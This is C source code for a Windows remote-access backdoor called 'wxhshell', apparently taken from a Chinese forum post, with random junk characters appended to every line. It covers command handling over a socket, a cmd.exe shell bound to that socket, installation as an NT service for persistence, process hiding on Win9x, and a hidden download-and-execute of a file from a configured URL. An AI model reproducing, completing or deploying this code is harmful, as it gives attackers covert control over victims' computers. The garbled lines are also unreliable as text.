  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jUW{Z@{U  
  } 7F)HAbIS  
  else { -bZ^A~<O,  
|Vd)7/LN  
    switch(cmd[0]) { f\^FUJy  
  MJ}VNv|S  
  // 帮助 9R'rFI  
  case '?': { \iu2rat^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t)$>++i  
    break; {{@3r5K Gl  
  } 1xT^ ,e6  
  // 安装 Rqvm%sAi  
  case 'i': { +c\fDVv  
    if(Install()) K<Iz5+oD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :rk]o*  
    else q;>'jHh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>VkQos5"  
    break; BE%#4c.b  
    } HbZ3QWP  
  // 卸载 - bFz  
  case 'r': { 7/Ve=7]  
    if(Uninstall()) 1eiH%{w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]9SCO  
    else Hr96sN.R   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  "}Ya.  
    break; h r*KDT^!  
    } e:NzpzI"v  
  // 显示 wxhshell 所在路径 2&Wc4,O!i  
  case 'p': { qI5/ME(}  
    char svExeFile[MAX_PATH]; -!wm]kx f  
    strcpy(svExeFile,"\n\r"); { #>@h7  
      strcat(svExeFile,ExeFile); lt}|Y9h  
        send(wsh,svExeFile,strlen(svExeFile),0); G ^r^" j  
    break; LB2 2doW  
    } 4i/TEHQ  
  // 重启 [S3X  
  case 'b': { 8M(N   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0~an\4nh  
    if(Boot(REBOOT)) N @]*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QJOP*<O  
    else { G} }oeS  
    closesocket(wsh); >Pbd#*  
    ExitThread(0); (W*yF2r  
    } o7]h;Zg5r  
    break; w;>]L.n  
    } JGH9b!}-1  
  // 关机 X$PT-~!a  
  case 'd': { u8-)LOf(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <t]i' D(K  
    if(Boot(SHUTDOWN)) 7&m*: J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >UR-37g{p  
    else { "qQU ^FW  
    closesocket(wsh); aViJ?*  
    ExitThread(0); h1JG^w$ 5  
    } @36^4E>h  
    break; <J?i+b  
    } G8akMd]2  
  // 获取shell $\m=-5 0-  
  case 's': { y~p7&^FeR  
    CmdShell(wsh); F}i rCi47c  
    closesocket(wsh); !Y`nKC(=z  
    ExitThread(0); 36&7J{MU  
    break; TZ-n)rC)v  
  } B\Rq0N]' M  
  // 退出 ]'2p"A0U  
  case 'x': { .+{nfmc,c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v2rXuo  
    CloseIt(wsh); <f{m=Dc  
    break; w;r -TLf  
    } ?ew^%1!W.  
  // 离开 f,`FbT  
  case 'q': { 3cQTl5,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M*aE)D '  
    closesocket(wsh); .^P^lQT]>  
    WSACleanup(); m!E36ce}  
    exit(1); #r:J,D6*  
    break; (VwS 9:`  
        } /EKfL\3  
  } `=%[  
  } '<6Gz7O  
'2:Ily,S@  
  // 提示信息 }6m5MH$7q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >nvreis  
} $0iz;!w  
  } !4I?59  
tlqDY1  
  return; od?Q&'A  
} AvP*p{we  
$T]1<3\G  
// shell模块句柄 I2K52A+  
int CmdShell(SOCKET sock) HmRwh  
{ OXA_E/F  
STARTUPINFO si; %#ms`"H  
ZeroMemory(&si,sizeof(si)); fIWQ+E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r/3 !~??x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -+Quw2465^  
PROCESS_INFORMATION ProcessInfo; >JCSOI  
char cmdline[]="cmd"; >G/>:wwSP.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  /=[M  
  return 0; V/>SjUNq  
} --",}%-  
S,Zjol%p  
// 自身启动模式  $@8\9Y {  
int StartFromService(void) rv|k8  
{ G9Azd^3  
typedef struct br$!}7#=L  
{ UkXc7D^jwm  
  DWORD ExitStatus; U|U/B  
  DWORD PebBaseAddress; [h8F)  
  DWORD AffinityMask; z-$?.?d  
  DWORD BasePriority; o)S>x0| [  
  ULONG UniqueProcessId; Ra~n:$tg2  
  ULONG InheritedFromUniqueProcessId; 4B (*{  
}   PROCESS_BASIC_INFORMATION; !jYV,:'  
D|9B1>A,m  
PROCNTQSIP NtQueryInformationProcess; NF&\<2kX  
 \2eYw.I=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rYm<U!k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >2$Ehw:K^  
[HQ17  
  HANDLE             hProcess; 9n8;eE08  
  PROCESS_BASIC_INFORMATION pbi; PMXnupt  
uz'beE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \4zvknk<  
  if(NULL == hInst ) return 0; hn!$?Vo.  
5:n&G[Md  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sPc\xY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \hNMTj#O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Ee f  
u!L8Sv  
  if (!NtQueryInformationProcess) return 0; PO)5L  
R+!2 j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vkbB~gr@*  
  if(!hProcess) return 0; -6t# ?Dkc'  
/_jApZz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rD$7;  
3]} W  
  CloseHandle(hProcess); K<+AJ(C  
BLMcvK\9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BKvF,f/g  
if(hProcess==NULL) return 0; wJ IJPYTK  
~xvQ?c ?-  
HMODULE hMod; fCEd :Kr  
char procName[255]; _}JygOew  
unsigned long cbNeeded; ZTt% 7K"L  
39~fP)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]]d@jj  
{' r(P&  
  CloseHandle(hProcess); JmN;v|wF:c  
k"Sw,"e>+  
if(strstr(procName,"services")) return 1; // 以服务启动 #"7:NR^H^  
C: e}}8i  
  return 0; // 注册表启动 xn}'!S2-b  
} CB?.| )Xam  
~@got  
// 主模块 W"!nf  
int StartWxhshell(LPSTR lpCmdLine) Oa@X! \  
{ Aoa0czC~  
  SOCKET wsl; @uH7GW}$g  
BOOL val=TRUE; dHOz;4_  
  int port=0; G]&:">&R  
  struct sockaddr_in door; T 6phD8#  
K h% x  
  if(wscfg.ws_autoins) Install(); bk^ :6>{K  
/9GqEQsfM  
port=atoi(lpCmdLine); c+4SGWmO  
]$*N5Y  
if(port<=0) port=wscfg.ws_port; NPS=?5p>  
(G$m}ng  
  WSADATA data; 4r5,kOFWb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lbv, jS  
EQ=Enw1[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |: nuT$(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n\cP17dr  
  door.sin_family = AF_INET; WtlIrdc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E,C<ox4e  
  door.sin_port = htons(port); cUy6/x9&  
KrbNo$0%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y?5*K  
closesocket(wsl); r0S7e3xb  
return 1; Hs-NP#I  
} )n0g6  
%8 4<@f&n]  
  if(listen(wsl,2) == INVALID_SOCKET) { '`3-X];p  
closesocket(wsl); Ogjjjy84vM  
return 1; &"^A  
} w"l8M0$m  
  Wxhshell(wsl); 8n&",)U  
  WSACleanup(); c\;} ov+  
93'%aSDI%  
return 0; IndNR:"g  
>StvP=our  
} S?8q.59  
H!45w;,I  
// 以NT服务方式启动 ~$Mp>ZB2W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0kCUz  
{ :fj}J)9'xW  
DWORD   status = 0; ; 9'*w=V  
  DWORD   specificError = 0xfffffff; UT^t7MY#O  
3'.OghI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hw1ZTD:Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jN*A"m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zBjqYqZ<+  
  serviceStatus.dwWin32ExitCode     = 0; o[cKh7&+  
  serviceStatus.dwServiceSpecificExitCode = 0; %[p[F~Z^Z  
  serviceStatus.dwCheckPoint       = 0; N?pD"re)6  
  serviceStatus.dwWaitHint       = 0; O-&n5  
47icy-@kg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q2hZ1o  
  if (hServiceStatusHandle==0) return; @Qx;J<{+g  
"3hw]`a}  
status = GetLastError(); -D(Ubk Pw  
  if (status!=NO_ERROR) <B`=oO%o  
{ 6,c,i;J_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M_XZOlW5  
    serviceStatus.dwCheckPoint       = 0; [tBIABr  
    serviceStatus.dwWaitHint       = 0;  vb70~k  
    serviceStatus.dwWin32ExitCode     = status; ,,G0}N@7s  
    serviceStatus.dwServiceSpecificExitCode = specificError; :))AZ7_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M(2[X/t  
    return; 9#3+k/A  
  } ^SjGNg^ 7D  
[M;P:@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ot,sMRk'  
  serviceStatus.dwCheckPoint       = 0; &[s^`e  
  serviceStatus.dwWaitHint       = 0; >?tcL *  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I &m~ cBj<  
} a}Ov @7  
WQ*$y3%  
// 处理NT服务事件,比如:启动、停止 0` S!+d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G A7  
{ ga,yFw  
switch(fdwControl) Y@r#:BH )  
{ i3Ffk+ |b  
case SERVICE_CONTROL_STOP: gbInSp`4  
  serviceStatus.dwWin32ExitCode = 0; ->j9(76"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -|3U0: 'm  
  serviceStatus.dwCheckPoint   = 0; ^iI^)  
  serviceStatus.dwWaitHint     = 0; 5-C6;7%:  
  { 7'&Xg_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !c*^:0  
  } T}\U:@b  
  return; &O%Kj8)  
case SERVICE_CONTROL_PAUSE: ;bA9(:?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "`3H0il;<  
  break; W"2\vo)  
case SERVICE_CONTROL_CONTINUE: ),~Ca'TU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =LT({8  
  break; /`'50C j  
case SERVICE_CONTROL_INTERROGATE: 95H`-A  
  break; Sqb#U{E  
}; @lmke>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _@@S,(MA  
} n@%'Nbc>b  
8l}|.Q#--  
// 标准应用程序主函数 x Apa+j6I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iF 67  
{ N..u<06j/  
!?+3 jzG  
// 获取操作系统版本 "jpjBH:c$  
OsIsNt=GetOsVer(); lRO8}XSI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i>rn!?b  
^%<v| Y(X  
  // 从命令行安装 > *_?^F_  
  if(strpbrk(lpCmdLine,"iI")) Install(); _>aesp%  
A2vOI8  
  // 下载执行文件 t7~mW$}O  
if(wscfg.ws_downexe) { =9)ypI-2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G_o/ lIz"  
  WinExec(wscfg.ws_filenam,SW_HIDE); A] F K\  
} s/T5aJR  
Dnp^yqz*  
if(!OsIsNt) { huQ1A0(no  
// 如果时win9x,隐藏进程并且设置为注册表启动 pH*L8tT  
HideProc(); O{dx+f  
StartWxhshell(lpCmdLine); 2N]y)S_<V  
} Ny~;"n  
else TQEZ<B$  
  if(StartFromService()) kNjbpCE\!  
  // 以服务方式启动 `Y[zF1$kz^  
  StartServiceCtrlDispatcher(DispatchTable); M9N|Ql  
else +fwq9I>L  
  // 普通方式启动 |fJ,+)_(  
  StartWxhshell(lpCmdLine); UtWoSFZ'o!  
x/Ds`\  
return 0; PCU6E9~t2  
}
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只看该作者 1 发表于: 2006-10-10
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